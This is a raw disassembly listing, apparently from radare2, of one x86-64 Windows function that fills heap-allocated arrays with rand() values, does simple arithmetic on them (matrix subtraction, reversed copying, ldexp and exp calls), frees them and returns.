mov rax, qword [rbp + 0x398]
mov rcx, rax
call sym.free
mov qword [rbp + 0x710], 0
mov dword [rbp + 0x718], 0x16d
jmp 0x140002b96
mov eax, dword [rbp + 0x718]
cdqe
add qword [rbp + 0x710], rax
sub dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0
jg 0x140002b80
mov ecx, 0x528
call sym.malloc
mov qword [rbp + 0x390], rax
mov ecx, 0x528
call sym.malloc
mov qword [rbp + 0x388], rax
mov ecx, 0x528
call sym.malloc
mov qword [rbp + 0x380], rax
mov dword [rbp + 0x70c], 0
jmp 0x140002cd3
mov dword [rbp + 0x708], 0
jmp 0x140002cbf
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x70c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x390]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x708]
cdqe
movss dword [rdx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x70c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x388]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x708]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x15
jle 0x140002bf0
add dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0xe
jle 0x140002be1
mov dword [rbp + 0x70c], 0
jmp 0x140002dc2
mov dword [rbp + 0x708], 0
jmp 0x140002dae
mov eax, dword [rbp + 0x70c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x390]
add rdx, rax
mov eax, dword [rbp + 0x708]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x70c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x388]
add rdx, rax
mov eax, dword [rbp + 0x708]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x70c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x380]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x708]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x15
jle 0x140002cfe
add dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0xe
jle 0x140002cef
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x388]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x380]
mov rcx, rax
call sym.free
mov ecx, 0xa40
call sym.malloc
mov qword [rbp + 0x378], rax
mov ecx, 0x31c
call sym.malloc
mov qword [rbp + 0x370], rax
mov ecx, 0x31c
call sym.malloc
mov qword [rbp + 0x368], rax
mov ecx, 0x31c
call sym.malloc
mov qword [rbp + 0x360], rax
mov ecx, 0x31c
call sym.malloc
mov qword [rbp + 0x358], rax
mov dword [rbp + 0x700], 0xc6
mov dword [rbp + 0x704], 0
jmp 0x140002efd
call sym.rand
mov edx, dword [rbp + 0x704]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x370]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x704]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x368]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0xc6
jle 0x140002e6a
mov dword [rbp + 0x704], 0
jmp 0x140002f9c
mov eax, dword [rbp + 0x700]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x370]
add rax, rdx
mov edx, dword [rbp + 0x704]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x360]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x700]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x368]
add rax, rdx
mov edx, dword [rbp + 0x704]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x358]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x700], 1
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0xc6
jle 0x140002f1c
mov rax, qword [rbp + 0x370]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x368]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x360]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sym.free
mov dword [rbp + 0x6fc], 0xffffffff
add dword [rbp + 0x6fc], 1
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x38e38e39
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x354], eax
mov ecx, dword [rbp + 0x354]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x354], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140010108]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x354]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x348], rax
cmp dword [rbp + 0x6fc], 0xb2
jle 0x140002ff2
mov ecx, 0x920
call sym.malloc
mov qword [rbp + 0x340], rax
mov dword [rbp + 0x6f8], 0
jmp 0x1400030ea
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140010108]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x340]
add rax, rdx
movsd xmm1, qword [0x140010110]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x6f8], 1
cmp dword [rbp + 0x6f8], 0x123
jle 0x14000309c
mov dword [rbp + 0x6f8], 0
jmp 0x140003151
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x340]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x340]
add rax, rdx
movq xmm1, qword [0x140010120]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x6f8], 1
cmp dword [rbp + 0x6f8], 0x123
jle 0x140003102
mov dword [rbp + 0x6f4], 0xffffffff
add dword [rbp + 0x6f4], 1
call sym.rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140010108]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x338], rax
cmp dword [rbp + 0x6f4], 0xe0
jle 0x140003167
mov eax, 0
movups xmm6, xmmword [rbp + 0x7b0]
add rsp, 0x848
pop rbx
pop rbp
ret